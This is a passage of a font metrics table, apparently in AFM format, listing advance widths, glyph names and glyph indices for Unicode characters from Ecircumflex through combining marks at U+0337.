U 202 ; WX 762 ; N Ecircumflex ; G 140
U 203 ; WX 762 ; N Edieresis ; G 141
U 204 ; WX 468 ; N Igrave ; G 142
U 205 ; WX 468 ; N Iacute ; G 143
U 206 ; WX 468 ; N Icircumflex ; G 144
U 207 ; WX 468 ; N Idieresis ; G 145
U 208 ; WX 874 ; N Eth ; G 146
U 209 ; WX 914 ; N Ntilde ; G 147
U 210 ; WX 871 ; N Ograve ; G 148
U 211 ; WX 871 ; N Oacute ; G 149
U 212 ; WX 871 ; N Ocircumflex ; G 150
U 213 ; WX 871 ; N Otilde ; G 151
U 214 ; WX 871 ; N Odieresis ; G 152
U 215 ; WX 838 ; N multiply ; G 153
U 216 ; WX 871 ; N Oslash ; G 154
U 217 ; WX 872 ; N Ugrave ; G 155
U 218 ; WX 872 ; N Uacute ; G 156
U 219 ; WX 872 ; N Ucircumflex ; G 157
U 220 ; WX 872 ; N Udieresis ; G 158
U 221 ; WX 714 ; N Yacute ; G 159
U 222 ; WX 757 ; N Thorn ; G 160
U 223 ; WX 760 ; N germandbls ; G 161
U 224 ; WX 648 ; N agrave ; G 162
U 225 ; WX 648 ; N aacute ; G 163
U 226 ; WX 648 ; N acircumflex ; G 164
U 227 ; WX 648 ; N atilde ; G 165
U 228 ; WX 648 ; N adieresis ; G 166
U 229 ; WX 648 ; N aring ; G 167
U 230 ; WX 932 ; N ae ; G 168
U 231 ; WX 609 ; N ccedilla ; G 169
U 232 ; WX 636 ; N egrave ; G 170
U 233 ; WX 636 ; N eacute ; G 171
U 234 ; WX 636 ; N ecircumflex ; G 172
U 235 ; WX 636 ; N edieresis ; G 173
U 236 ; WX 380 ; N igrave ; G 174
U 237 ; WX 380 ; N iacute ; G 175
U 238 ; WX 380 ; N icircumflex ; G 176
U 239 ; WX 380 ; N idieresis ; G 177
U 240 ; WX 667 ; N eth ; G 178
U 241 ; WX 727 ; N ntilde ; G 179
U 242 ; WX 667 ; N ograve ; G 180
U 243 ; WX 667 ; N oacute ; G 181
U 244 ; WX 667 ; N ocircumflex ; G 182
U 245 ; WX 667 ; N otilde ; G 183
U 246 ; WX 667 ; N odieresis ; G 184
U 247 ; WX 838 ; N divide ; G 185
U 248 ; WX 667 ; N oslash ; G 186
U 249 ; WX 727 ; N ugrave ; G 187
U 250 ; WX 727 ; N uacute ; G 188
U 251 ; WX 727 ; N ucircumflex ; G 189
U 252 ; WX 727 ; N udieresis ; G 190
U 253 ; WX 581 ; N yacute ; G 191
U 254 ; WX 699 ; N thorn ; G 192
U 255 ; WX 581 ; N ydieresis ; G 193
U 256 ; WX 776 ; N Amacron ; G 194
U 257 ; WX 648 ; N amacron ; G 195
U 258 ; WX 776 ; N Abreve ; G 196
U 259 ; WX 648 ; N abreve ; G 197
U 260 ; WX 776 ; N Aogonek ; G 198
U 261 ; WX 648 ; N aogonek ; G 199
U 262 ; WX 796 ; N Cacute ; G 200
U 263 ; WX 609 ; N cacute ; G 201
U 264 ; WX 796 ; N Ccircumflex ; G 202
U 265 ; WX 609 ; N ccircumflex ; G 203
U 266 ; WX 796 ; N Cdotaccent ; G 204
U 267 ; WX 609 ; N cdotaccent ; G 205
U 268 ; WX 796 ; N Ccaron ; G 206
U 269 ; WX 609 ; N ccaron ; G 207
U 270 ; WX 867 ; N Dcaron ; G 208
U 271 ; WX 699 ; N dcaron ; G 209
U 272 ; WX 874 ; N Dcroat ; G 210
U 273 ; WX 699 ; N dmacron ; G 211
U 274 ; WX 762 ; N Emacron ; G 212
U 275 ; WX 636 ; N emacron ; G 213
U 276 ; WX 762 ; N Ebreve ; G 214
U 277 ; WX 636 ; N ebreve ; G 215
U 278 ; WX 762 ; N Edotaccent ; G 216
U 279 ; WX 636 ; N edotaccent ; G 217
U 280 ; WX 762 ; N Eogonek ; G 218
U 281 ; WX 636 ; N eogonek ; G 219
U 282 ; WX 762 ; N Ecaron ; G 220
U 283 ; WX 636 ; N ecaron ; G 221
U 284 ; WX 854 ; N Gcircumflex ; G 222
U 285 ; WX 699 ; N gcircumflex ; G 223
U 286 ; WX 854 ; N Gbreve ; G 224
U 287 ; WX 699 ; N gbreve ; G 225
U 288 ; WX 854 ; N Gdotaccent ; G 226
U 289 ; WX 699 ; N gdotaccent ; G 227
U 290 ; WX 854 ; N Gcommaaccent ; G 228
U 291 ; WX 699 ; N gcommaaccent ; G 229
U 292 ; WX 945 ; N Hcircumflex ; G 230
U 293 ; WX 727 ; N hcircumflex ; G 231
U 294 ; WX 945 ; N Hbar ; G 232
U 295 ; WX 727 ; N hbar ; G 233
U 296 ; WX 468 ; N Itilde ; G 234
U 297 ; WX 380 ; N itilde ; G 235
U 298 ; WX 468 ; N Imacron ; G 236
U 299 ; WX 380 ; N imacron ; G 237
U 300 ; WX 468 ; N Ibreve ; G 238
U 301 ; WX 380 ; N ibreve ; G 239
U 302 ; WX 468 ; N Iogonek ; G 240
U 303 ; WX 380 ; N iogonek ; G 241
U 304 ; WX 468 ; N Idot ; G 242
U 305 ; WX 380 ; N dotlessi ; G 243
U 306 ; WX 942 ; N IJ ; G 244
U 307 ; WX 751 ; N ij ; G 245
U 308 ; WX 473 ; N Jcircumflex ; G 246
U 309 ; WX 362 ; N jcircumflex ; G 247
U 310 ; WX 869 ; N Kcommaaccent ; G 248
U 311 ; WX 693 ; N kcommaaccent ; G 249
U 312 ; WX 693 ; N kgreenlandic ; G 250
U 313 ; WX 703 ; N Lacute ; G 251
U 314 ; WX 380 ; N lacute ; G 252
U 315 ; WX 703 ; N Lcommaaccent ; G 253
U 316 ; WX 380 ; N lcommaaccent ; G 254
U 317 ; WX 703 ; N Lcaron ; G 255
U 318 ; WX 508 ; N lcaron ; G 256
U 319 ; WX 703 ; N Ldot ; G 257
U 320 ; WX 557 ; N ldot ; G 258
U 321 ; WX 710 ; N Lslash ; G 259
U 322 ; WX 385 ; N lslash ; G 260
U 323 ; WX 914 ; N Nacute ; G 261
U 324 ; WX 727 ; N nacute ; G 262
U 325 ; WX 914 ; N Ncommaaccent ; G 263
U 326 ; WX 727 ; N ncommaaccent ; G 264
U 327 ; WX 914 ; N Ncaron ; G 265
U 328 ; WX 727 ; N ncaron ; G 266
U 329 ; WX 1008 ; N napostrophe ; G 267
U 330 ; WX 872 ; N Eng ; G 268
U 331 ; WX 727 ; N eng ; G 269
U 332 ; WX 871 ; N Omacron ; G 270
U 333 ; WX 667 ; N omacron ; G 271
U 334 ; WX 871 ; N Obreve ; G 272
U 335 ; WX 667 ; N obreve ; G 273
U 336 ; WX 871 ; N Ohungarumlaut ; G 274
U 337 ; WX 667 ; N ohungarumlaut ; G 275
U 338 ; WX 1180 ; N OE ; G 276
U 339 ; WX 1028 ; N oe ; G 277
U 340 ; WX 831 ; N Racute ; G 278
U 341 ; WX 527 ; N racute ; G 279
U 342 ; WX 831 ; N Rcommaaccent ; G 280
U 343 ; WX 527 ; N rcommaaccent ; G 281
U 344 ; WX 831 ; N Rcaron ; G 282
U 345 ; WX 527 ; N rcaron ; G 283
U 346 ; WX 722 ; N Sacute ; G 284
U 347 ; WX 563 ; N sacute ; G 285
U 348 ; WX 722 ; N Scircumflex ; G 286
U 349 ; WX 563 ; N scircumflex ; G 287
U 350 ; WX 722 ; N Scedilla ; G 288
U 351 ; WX 563 ; N scedilla ; G 289
U 352 ; WX 722 ; N Scaron ; G 290
U 353 ; WX 563 ; N scaron ; G 291
U 354 ; WX 744 ; N Tcommaaccent ; G 292
U 355 ; WX 462 ; N tcommaaccent ; G 293
U 356 ; WX 744 ; N Tcaron ; G 294
U 357 ; WX 462 ; N tcaron ; G 295
U 358 ; WX 744 ; N Tbar ; G 296
U 359 ; WX 462 ; N tbar ; G 297
U 360 ; WX 872 ; N Utilde ; G 298
U 361 ; WX 727 ; N utilde ; G 299
U 362 ; WX 872 ; N Umacron ; G 300
U 363 ; WX 727 ; N umacron ; G 301
U 364 ; WX 872 ; N Ubreve ; G 302
U 365 ; WX 727 ; N ubreve ; G 303
U 366 ; WX 872 ; N Uring ; G 304
U 367 ; WX 727 ; N uring ; G 305
U 368 ; WX 872 ; N Uhungarumlaut ; G 306
U 369 ; WX 727 ; N uhungarumlaut ; G 307
U 370 ; WX 872 ; N Uogonek ; G 308
U 371 ; WX 727 ; N uogonek ; G 309
U 372 ; WX 1123 ; N Wcircumflex ; G 310
U 373 ; WX 861 ; N wcircumflex ; G 311
U 374 ; WX 714 ; N Ycircumflex ; G 312
U 375 ; WX 581 ; N ycircumflex ; G 313
U 376 ; WX 714 ; N Ydieresis ; G 314
U 377 ; WX 730 ; N Zacute ; G 315
U 378 ; WX 568 ; N zacute ; G 316
U 379 ; WX 730 ; N Zdotaccent ; G 317
U 380 ; WX 568 ; N zdotaccent ; G 318
U 381 ; WX 730 ; N Zcaron ; G 319
U 382 ; WX 568 ; N zcaron ; G 320
U 383 ; WX 430 ; N longs ; G 321
U 384 ; WX 699 ; N uni0180 ; G 322
U 385 ; WX 845 ; N uni0181 ; G 323
U 386 ; WX 854 ; N uni0182 ; G 324
U 387 ; WX 699 ; N uni0183 ; G 325
U 388 ; WX 854 ; N uni0184 ; G 326
U 389 ; WX 699 ; N uni0185 ; G 327
U 390 ; WX 796 ; N uni0186 ; G 328
U 391 ; WX 796 ; N uni0187 ; G 329
U 392 ; WX 609 ; N uni0188 ; G 330
U 393 ; WX 874 ; N uni0189 ; G 331
U 394 ; WX 867 ; N uni018A ; G 332
U 395 ; WX 854 ; N uni018B ; G 333
U 396 ; WX 699 ; N uni018C ; G 334
U 397 ; WX 667 ; N uni018D ; G 335
U 398 ; WX 762 ; N uni018E ; G 336
U 399 ; WX 871 ; N uni018F ; G 337
U 400 ; WX 721 ; N uni0190 ; G 338
U 401 ; WX 710 ; N uni0191 ; G 339
U 402 ; WX 430 ; N florin ; G 340
U 403 ; WX 854 ; N uni0193 ; G 341
U 404 ; WX 771 ; N uni0194 ; G 342
U 405 ; WX 1043 ; N uni0195 ; G 343
U 406 ; WX 468 ; N uni0196 ; G 344
U 407 ; WX 468 ; N uni0197 ; G 345
U 408 ; WX 869 ; N uni0198 ; G 346
U 409 ; WX 693 ; N uni0199 ; G 347
U 410 ; WX 380 ; N uni019A ; G 348
U 411 ; WX 701 ; N uni019B ; G 349
U 412 ; WX 1058 ; N uni019C ; G 350
U 413 ; WX 914 ; N uni019D ; G 351
U 414 ; WX 727 ; N uni019E ; G 352
U 415 ; WX 871 ; N uni019F ; G 353
U 416 ; WX 871 ; N Ohorn ; G 354
U 417 ; WX 667 ; N ohorn ; G 355
U 418 ; WX 1200 ; N uni01A2 ; G 356
U 419 ; WX 943 ; N uni01A3 ; G 357
U 420 ; WX 752 ; N uni01A4 ; G 358
U 421 ; WX 699 ; N uni01A5 ; G 359
U 422 ; WX 831 ; N uni01A6 ; G 360
U 423 ; WX 722 ; N uni01A7 ; G 361
U 424 ; WX 563 ; N uni01A8 ; G 362
U 425 ; WX 707 ; N uni01A9 ; G 363
U 426 ; WX 331 ; N uni01AA ; G 364
U 427 ; WX 462 ; N uni01AB ; G 365
U 428 ; WX 744 ; N uni01AC ; G 366
U 429 ; WX 462 ; N uni01AD ; G 367
U 430 ; WX 744 ; N uni01AE ; G 368
U 431 ; WX 872 ; N Uhorn ; G 369
U 432 ; WX 727 ; N uhorn ; G 370
U 433 ; WX 890 ; N uni01B1 ; G 371
U 434 ; WX 890 ; N uni01B2 ; G 372
U 435 ; WX 714 ; N uni01B3 ; G 373
U 436 ; WX 699 ; N uni01B4 ; G 374
U 437 ; WX 730 ; N uni01B5 ; G 375
U 438 ; WX 568 ; N uni01B6 ; G 376
U 439 ; WX 657 ; N uni01B7 ; G 377
U 440 ; WX 657 ; N uni01B8 ; G 378
U 441 ; WX 657 ; N uni01B9 ; G 379
U 442 ; WX 657 ; N uni01BA ; G 380
U 443 ; WX 696 ; N uni01BB ; G 381
U 444 ; WX 754 ; N uni01BC ; G 382
U 445 ; WX 568 ; N uni01BD ; G 383
U 446 ; WX 536 ; N uni01BE ; G 384
U 447 ; WX 716 ; N uni01BF ; G 385
U 448 ; WX 295 ; N uni01C0 ; G 386
U 449 ; WX 492 ; N uni01C1 ; G 387
U 450 ; WX 459 ; N uni01C2 ; G 388
U 451 ; WX 295 ; N uni01C3 ; G 389
U 452 ; WX 1597 ; N uni01C4 ; G 390
U 453 ; WX 1435 ; N uni01C5 ; G 391
U 454 ; WX 1267 ; N uni01C6 ; G 392
U 455 ; WX 1176 ; N uni01C7 ; G 393
U 456 ; WX 1065 ; N uni01C8 ; G 394
U 457 ; WX 742 ; N uni01C9 ; G 395
U 458 ; WX 1387 ; N uni01CA ; G 396
U 459 ; WX 1276 ; N uni01CB ; G 397
U 460 ; WX 1089 ; N uni01CC ; G 398
U 461 ; WX 776 ; N uni01CD ; G 399
U 462 ; WX 648 ; N uni01CE ; G 400
U 463 ; WX 468 ; N uni01CF ; G 401
U 464 ; WX 380 ; N uni01D0 ; G 402
U 465 ; WX 871 ; N uni01D1 ; G 403
U 466 ; WX 667 ; N uni01D2 ; G 404
U 467 ; WX 872 ; N uni01D3 ; G 405
U 468 ; WX 727 ; N uni01D4 ; G 406
U 469 ; WX 872 ; N uni01D5 ; G 407
U 470 ; WX 727 ; N uni01D6 ; G 408
U 471 ; WX 872 ; N uni01D7 ; G 409
U 472 ; WX 727 ; N uni01D8 ; G 410
U 473 ; WX 872 ; N uni01D9 ; G 411
U 474 ; WX 727 ; N uni01DA ; G 412
U 475 ; WX 872 ; N uni01DB ; G 413
U 476 ; WX 727 ; N uni01DC ; G 414
U 477 ; WX 636 ; N uni01DD ; G 415
U 478 ; WX 776 ; N uni01DE ; G 416
U 479 ; WX 648 ; N uni01DF ; G 417
U 480 ; WX 776 ; N uni01E0 ; G 418
U 481 ; WX 648 ; N uni01E1 ; G 419
U 482 ; WX 1034 ; N uni01E2 ; G 420
U 483 ; WX 975 ; N uni01E3 ; G 421
U 484 ; WX 896 ; N uni01E4 ; G 422
U 485 ; WX 699 ; N uni01E5 ; G 423
U 486 ; WX 854 ; N Gcaron ; G 424
U 487 ; WX 699 ; N gcaron ; G 425
U 488 ; WX 869 ; N uni01E8 ; G 426
U 489 ; WX 693 ; N uni01E9 ; G 427
U 490 ; WX 871 ; N uni01EA ; G 428
U 491 ; WX 667 ; N uni01EB ; G 429
U 492 ; WX 871 ; N uni01EC ; G 430
U 493 ; WX 667 ; N uni01ED ; G 431
U 494 ; WX 657 ; N uni01EE ; G 432
U 495 ; WX 568 ; N uni01EF ; G 433
U 496 ; WX 362 ; N uni01F0 ; G 434
U 497 ; WX 1597 ; N uni01F1 ; G 435
U 498 ; WX 1435 ; N uni01F2 ; G 436
U 499 ; WX 1267 ; N uni01F3 ; G 437
U 500 ; WX 854 ; N uni01F4 ; G 438
U 501 ; WX 699 ; N uni01F5 ; G 439
U 502 ; WX 1221 ; N uni01F6 ; G 440
U 503 ; WX 787 ; N uni01F7 ; G 441
U 504 ; WX 914 ; N uni01F8 ; G 442
U 505 ; WX 727 ; N uni01F9 ; G 443
U 506 ; WX 776 ; N Aringacute ; G 444
U 507 ; WX 648 ; N aringacute ; G 445
U 508 ; WX 1034 ; N AEacute ; G 446
U 509 ; WX 932 ; N aeacute ; G 447
U 510 ; WX 871 ; N Oslashacute ; G 448
U 511 ; WX 667 ; N oslashacute ; G 449
U 512 ; WX 776 ; N uni0200 ; G 450
U 513 ; WX 648 ; N uni0201 ; G 451
U 514 ; WX 776 ; N uni0202 ; G 452
U 515 ; WX 648 ; N uni0203 ; G 453
U 516 ; WX 762 ; N uni0204 ; G 454
U 517 ; WX 636 ; N uni0205 ; G 455
U 518 ; WX 762 ; N uni0206 ; G 456
U 519 ; WX 636 ; N uni0207 ; G 457
U 520 ; WX 468 ; N uni0208 ; G 458
U 521 ; WX 380 ; N uni0209 ; G 459
U 522 ; WX 468 ; N uni020A ; G 460
U 523 ; WX 380 ; N uni020B ; G 461
U 524 ; WX 871 ; N uni020C ; G 462
U 525 ; WX 667 ; N uni020D ; G 463
U 526 ; WX 871 ; N uni020E ; G 464
U 527 ; WX 667 ; N uni020F ; G 465
U 528 ; WX 831 ; N uni0210 ; G 466
U 529 ; WX 527 ; N uni0211 ; G 467
U 530 ; WX 831 ; N uni0212 ; G 468
U 531 ; WX 527 ; N uni0213 ; G 469
U 532 ; WX 872 ; N uni0214 ; G 470
U 533 ; WX 727 ; N uni0215 ; G 471
U 534 ; WX 872 ; N uni0216 ; G 472
U 535 ; WX 727 ; N uni0217 ; G 473
U 536 ; WX 722 ; N Scommaaccent ; G 474
U 537 ; WX 563 ; N scommaaccent ; G 475
U 538 ; WX 744 ; N uni021A ; G 476
U 539 ; WX 462 ; N uni021B ; G 477
U 540 ; WX 690 ; N uni021C ; G 478
U 541 ; WX 607 ; N uni021D ; G 479
U 542 ; WX 945 ; N uni021E ; G 480
U 543 ; WX 727 ; N uni021F ; G 481
U 544 ; WX 872 ; N uni0220 ; G 482
U 545 ; WX 791 ; N uni0221 ; G 483
U 546 ; WX 703 ; N uni0222 ; G 484
U 547 ; WX 616 ; N uni0223 ; G 485
U 548 ; WX 730 ; N uni0224 ; G 486
U 549 ; WX 568 ; N uni0225 ; G 487
U 550 ; WX 776 ; N uni0226 ; G 488
U 551 ; WX 648 ; N uni0227 ; G 489
U 552 ; WX 762 ; N uni0228 ; G 490
U 553 ; WX 636 ; N uni0229 ; G 491
U 554 ; WX 871 ; N uni022A ; G 492
U 555 ; WX 667 ; N uni022B ; G 493
U 556 ; WX 871 ; N uni022C ; G 494
U 557 ; WX 667 ; N uni022D ; G 495
U 558 ; WX 871 ; N uni022E ; G 496
U 559 ; WX 667 ; N uni022F ; G 497
U 560 ; WX 871 ; N uni0230 ; G 498
U 561 ; WX 667 ; N uni0231 ; G 499
U 562 ; WX 714 ; N uni0232 ; G 500
U 563 ; WX 581 ; N uni0233 ; G 501
U 564 ; WX 573 ; N uni0234 ; G 502
U 565 ; WX 922 ; N uni0235 ; G 503
U 566 ; WX 564 ; N uni0236 ; G 504
U 567 ; WX 362 ; N dotlessj ; G 505
U 568 ; WX 1031 ; N uni0238 ; G 506
U 569 ; WX 1031 ; N uni0239 ; G 507
U 570 ; WX 776 ; N uni023A ; G 508
U 571 ; WX 796 ; N uni023B ; G 509
U 572 ; WX 609 ; N uni023C ; G 510
U 573 ; WX 703 ; N uni023D ; G 511
U 574 ; WX 744 ; N uni023E ; G 512
U 575 ; WX 563 ; N uni023F ; G 513
U 576 ; WX 568 ; N uni0240 ; G 514
U 577 ; WX 660 ; N uni0241 ; G 515
U 578 ; WX 547 ; N uni0242 ; G 516
U 579 ; WX 845 ; N uni0243 ; G 517
U 580 ; WX 872 ; N uni0244 ; G 518
U 581 ; WX 776 ; N uni0245 ; G 519
U 582 ; WX 762 ; N uni0246 ; G 520
U 583 ; WX 636 ; N uni0247 ; G 521
U 584 ; WX 473 ; N uni0248 ; G 522
U 585 ; WX 387 ; N uni0249 ; G 523
U 586 ; WX 848 ; N uni024A ; G 524
U 587 ; WX 699 ; N uni024B ; G 525
U 588 ; WX 831 ; N uni024C ; G 526
U 589 ; WX 527 ; N uni024D ; G 527
U 590 ; WX 714 ; N uni024E ; G 528
U 591 ; WX 581 ; N uni024F ; G 529
U 592 ; WX 648 ; N uni0250 ; G 530
U 593 ; WX 770 ; N uni0251 ; G 531
U 594 ; WX 770 ; N uni0252 ; G 532
U 595 ; WX 699 ; N uni0253 ; G 533
U 596 ; WX 609 ; N uni0254 ; G 534
U 597 ; WX 609 ; N uni0255 ; G 535
U 598 ; WX 699 ; N uni0256 ; G 536
U 599 ; WX 730 ; N uni0257 ; G 537
U 600 ; WX 636 ; N uni0258 ; G 538
U 601 ; WX 636 ; N uni0259 ; G 539
U 602 ; WX 907 ; N uni025A ; G 540
U 603 ; WX 608 ; N uni025B ; G 541
U 604 ; WX 562 ; N uni025C ; G 542
U 605 ; WX 907 ; N uni025D ; G 543
U 606 ; WX 714 ; N uni025E ; G 544
U 607 ; WX 387 ; N uni025F ; G 545
U 608 ; WX 699 ; N uni0260 ; G 546
U 609 ; WX 699 ; N uni0261 ; G 547
U 610 ; WX 638 ; N uni0262 ; G 548
U 611 ; WX 601 ; N uni0263 ; G 549
U 612 ; WX 627 ; N uni0264 ; G 550
U 613 ; WX 727 ; N uni0265 ; G 551
U 614 ; WX 727 ; N uni0266 ; G 552
U 615 ; WX 727 ; N uni0267 ; G 553
U 616 ; WX 380 ; N uni0268 ; G 554
U 617 ; WX 380 ; N uni0269 ; G 555
U 618 ; WX 380 ; N uni026A ; G 556
U 619 ; WX 409 ; N uni026B ; G 557
U 620 ; WX 514 ; N uni026C ; G 558
U 621 ; WX 380 ; N uni026D ; G 559
U 622 ; WX 795 ; N uni026E ; G 560
U 623 ; WX 1058 ; N uni026F ; G 561
U 624 ; WX 1058 ; N uni0270 ; G 562
U 625 ; WX 1058 ; N uni0271 ; G 563
U 626 ; WX 727 ; N uni0272 ; G 564
U 627 ; WX 727 ; N uni0273 ; G 565
U 628 ; WX 712 ; N uni0274 ; G 566
U 629 ; WX 667 ; N uni0275 ; G 567
U 630 ; WX 1061 ; N uni0276 ; G 568
U 631 ; WX 944 ; N uni0277 ; G 569
U 632 ; WX 797 ; N uni0278 ; G 570
U 633 ; WX 571 ; N uni0279 ; G 571
U 634 ; WX 571 ; N uni027A ; G 572
U 635 ; WX 571 ; N uni027B ; G 573
U 636 ; WX 527 ; N uni027C ; G 574
U 637 ; WX 527 ; N uni027D ; G 575
U 638 ; WX 452 ; N uni027E ; G 576
U 639 ; WX 487 ; N uni027F ; G 577
U 640 ; WX 694 ; N uni0280 ; G 578
U 641 ; WX 694 ; N uni0281 ; G 579
U 642 ; WX 563 ; N uni0282 ; G 580
U 643 ; WX 331 ; N uni0283 ; G 581
U 644 ; WX 430 ; N uni0284 ; G 582
U 645 ; WX 540 ; N uni0285 ; G 583
U 646 ; WX 331 ; N uni0286 ; G 584
U 647 ; WX 492 ; N uni0287 ; G 585
U 648 ; WX 462 ; N uni0288 ; G 586
U 649 ; WX 727 ; N uni0289 ; G 587
U 650 ; WX 679 ; N uni028A ; G 588
U 651 ; WX 694 ; N uni028B ; G 589
U 652 ; WX 581 ; N uni028C ; G 590
U 653 ; WX 861 ; N uni028D ; G 591
U 654 ; WX 635 ; N uni028E ; G 592
U 655 ; WX 727 ; N uni028F ; G 593
U 656 ; WX 568 ; N uni0290 ; G 594
U 657 ; WX 568 ; N uni0291 ; G 595
U 658 ; WX 568 ; N uni0292 ; G 596
U 659 ; WX 568 ; N uni0293 ; G 597
U 660 ; WX 551 ; N uni0294 ; G 598
U 661 ; WX 551 ; N uni0295 ; G 599
U 662 ; WX 551 ; N uni0296 ; G 600
U 663 ; WX 545 ; N uni0297 ; G 601
U 664 ; WX 871 ; N uni0298 ; G 602
U 665 ; WX 695 ; N uni0299 ; G 603
U 666 ; WX 714 ; N uni029A ; G 604
U 667 ; WX 689 ; N uni029B ; G 605
U 668 ; WX 732 ; N uni029C ; G 606
U 669 ; WX 384 ; N uni029D ; G 607
U 670 ; WX 740 ; N uni029E ; G 608
U 671 ; WX 617 ; N uni029F ; G 609
U 672 ; WX 699 ; N uni02A0 ; G 610
U 673 ; WX 551 ; N uni02A1 ; G 611
U 674 ; WX 551 ; N uni02A2 ; G 612
U 675 ; WX 1117 ; N uni02A3 ; G 613
U 676 ; WX 1179 ; N uni02A4 ; G 614
U 677 ; WX 1117 ; N uni02A5 ; G 615
U 678 ; WX 938 ; N uni02A6 ; G 616
U 679 ; WX 715 ; N uni02A7 ; G 617
U 680 ; WX 946 ; N uni02A8 ; G 618
U 681 ; WX 1039 ; N uni02A9 ; G 619
U 682 ; WX 870 ; N uni02AA ; G 620
U 683 ; WX 795 ; N uni02AB ; G 621
U 684 ; WX 662 ; N uni02AC ; G 622
U 685 ; WX 443 ; N uni02AD ; G 623
U 686 ; WX 613 ; N uni02AE ; G 624
U 687 ; WX 717 ; N uni02AF ; G 625
U 688 ; WX 521 ; N uni02B0 ; G 626
U 689 ; WX 519 ; N uni02B1 ; G 627
U 690 ; WX 313 ; N uni02B2 ; G 628
U 691 ; WX 414 ; N uni02B3 ; G 629
U 692 ; WX 414 ; N uni02B4 ; G 630
U 693 ; WX 480 ; N uni02B5 ; G 631
U 694 ; WX 527 ; N uni02B6 ; G 632
U 695 ; WX 542 ; N uni02B7 ; G 633
U 696 ; WX 366 ; N uni02B8 ; G 634
U 697 ; WX 302 ; N uni02B9 ; G 635
U 698 ; WX 521 ; N uni02BA ; G 636
U 699 ; WX 348 ; N uni02BB ; G 637
U 700 ; WX 348 ; N uni02BC ; G 638
U 701 ; WX 348 ; N uni02BD ; G 639
U 702 ; WX 366 ; N uni02BE ; G 640
U 703 ; WX 366 ; N uni02BF ; G 641
U 704 ; WX 313 ; N uni02C0 ; G 642
U 705 ; WX 313 ; N uni02C1 ; G 643
U 706 ; WX 500 ; N uni02C2 ; G 644
U 707 ; WX 500 ; N uni02C3 ; G 645
U 708 ; WX 500 ; N uni02C4 ; G 646
U 709 ; WX 500 ; N uni02C5 ; G 647
U 710 ; WX 500 ; N circumflex ; G 648
U 711 ; WX 500 ; N caron ; G 649
U 712 ; WX 282 ; N uni02C8 ; G 650
U 713 ; WX 500 ; N uni02C9 ; G 651
U 714 ; WX 500 ; N uni02CA ; G 652
U 715 ; WX 500 ; N uni02CB ; G 653
U 716 ; WX 282 ; N uni02CC ; G 654
U 717 ; WX 500 ; N uni02CD ; G 655
U 720 ; WX 369 ; N uni02D0 ; G 656
U 721 ; WX 369 ; N uni02D1 ; G 657
U 722 ; WX 366 ; N uni02D2 ; G 658
U 723 ; WX 366 ; N uni02D3 ; G 659
U 726 ; WX 392 ; N uni02D6 ; G 660
U 727 ; WX 392 ; N uni02D7 ; G 661
U 728 ; WX 500 ; N breve ; G 662
U 729 ; WX 500 ; N dotaccent ; G 663
U 730 ; WX 500 ; N ring ; G 664
U 731 ; WX 500 ; N ogonek ; G 665
U 732 ; WX 500 ; N tilde ; G 666
U 733 ; WX 500 ; N hungarumlaut ; G 667
U 734 ; WX 417 ; N uni02DE ; G 668
U 736 ; WX 378 ; N uni02E0 ; G 669
U 737 ; WX 292 ; N uni02E1 ; G 670
U 738 ; WX 395 ; N uni02E2 ; G 671
U 739 ; WX 375 ; N uni02E3 ; G 672
U 740 ; WX 313 ; N uni02E4 ; G 673
U 741 ; WX 500 ; N uni02E5 ; G 674
U 742 ; WX 500 ; N uni02E6 ; G 675
U 743 ; WX 500 ; N uni02E7 ; G 676
U 744 ; WX 500 ; N uni02E8 ; G 677
U 745 ; WX 500 ; N uni02E9 ; G 678
U 748 ; WX 500 ; N uni02EC ; G 679
U 750 ; WX 553 ; N uni02EE ; G 680
U 751 ; WX 500 ; N uni02EF ; G 681
U 752 ; WX 500 ; N uni02F0 ; G 682
U 755 ; WX 500 ; N uni02F3 ; G 683
U 759 ; WX 500 ; N uni02F7 ; G 684
U 768 ; WX 0 ; N gravecomb ; G 685
U 769 ; WX 0 ; N acutecomb ; G 686
U 770 ; WX 0 ; N uni0302 ; G 687
U 771 ; WX 0 ; N tildecomb ; G 688
U 772 ; WX 0 ; N uni0304 ; G 689
U 773 ; WX 0 ; N uni0305 ; G 690
U 774 ; WX 0 ; N uni0306 ; G 691
U 775 ; WX 0 ; N uni0307 ; G 692
U 776 ; WX 0 ; N uni0308 ; G 693
U 777 ; WX 0 ; N hookabovecomb ; G 694
U 778 ; WX 0 ; N uni030A ; G 695
U 779 ; WX 0 ; N uni030B ; G 696
U 780 ; WX 0 ; N uni030C ; G 697
U 781 ; WX 0 ; N uni030D ; G 698
U 782 ; WX 0 ; N uni030E ; G 699
U 783 ; WX 0 ; N uni030F ; G 700
U 784 ; WX 0 ; N uni0310 ; G 701
U 785 ; WX 0 ; N uni0311 ; G 702
U 786 ; WX 0 ; N uni0312 ; G 703
U 787 ; WX 0 ; N uni0313 ; G 704
U 788 ; WX 0 ; N uni0314 ; G 705
U 789 ; WX 0 ; N uni0315 ; G 706
U 790 ; WX 0 ; N uni0316 ; G 707
U 791 ; WX 0 ; N uni0317 ; G 708
U 792 ; WX 0 ; N uni0318 ; G 709
U 793 ; WX 0 ; N uni0319 ; G 710
U 794 ; WX 0 ; N uni031A ; G 711
U 795 ; WX 0 ; N uni031B ; G 712
U 796 ; WX 0 ; N uni031C ; G 713
U 797 ; WX 0 ; N uni031D ; G 714
U 798 ; WX 0 ; N uni031E ; G 715
U 799 ; WX 0 ; N uni031F ; G 716
U 800 ; WX 0 ; N uni0320 ; G 717
U 801 ; WX 0 ; N uni0321 ; G 718
U 802 ; WX 0 ; N uni0322 ; G 719
U 803 ; WX 0 ; N dotbelowcomb ; G 720
U 804 ; WX 0 ; N uni0324 ; G 721
U 805 ; WX 0 ; N uni0325 ; G 722
U 806 ; WX 0 ; N uni0326 ; G 723
U 807 ; WX 0 ; N uni0327 ; G 724
U 808 ; WX 0 ; N uni0328 ; G 725
U 809 ; WX 0 ; N uni0329 ; G 726
U 810 ; WX 0 ; N uni032A ; G 727
U 811 ; WX 0 ; N uni032B ; G 728
U 812 ; WX 0 ; N uni032C ; G 729
U 813 ; WX 0 ; N uni032D ; G 730
U 814 ; WX 0 ; N uni032E ; G 731
U 815 ; WX 0 ; N uni032F ; G 732
U 816 ; WX 0 ; N uni0330 ; G 733
U 817 ; WX 0 ; N uni0331 ; G 734
U 818 ; WX 0 ; N uni0332 ; G 735
U 819 ; WX 0 ; N uni0333 ; G 736
U 820 ; WX 0 ; N uni0334 ; G 737
U 821 ; WX 0 ; N uni0335 ; G 738
U 822 ; WX 0 ; N uni0336 ; G 739
U 823 ; WX 0 ; N uni0337 ; G 740
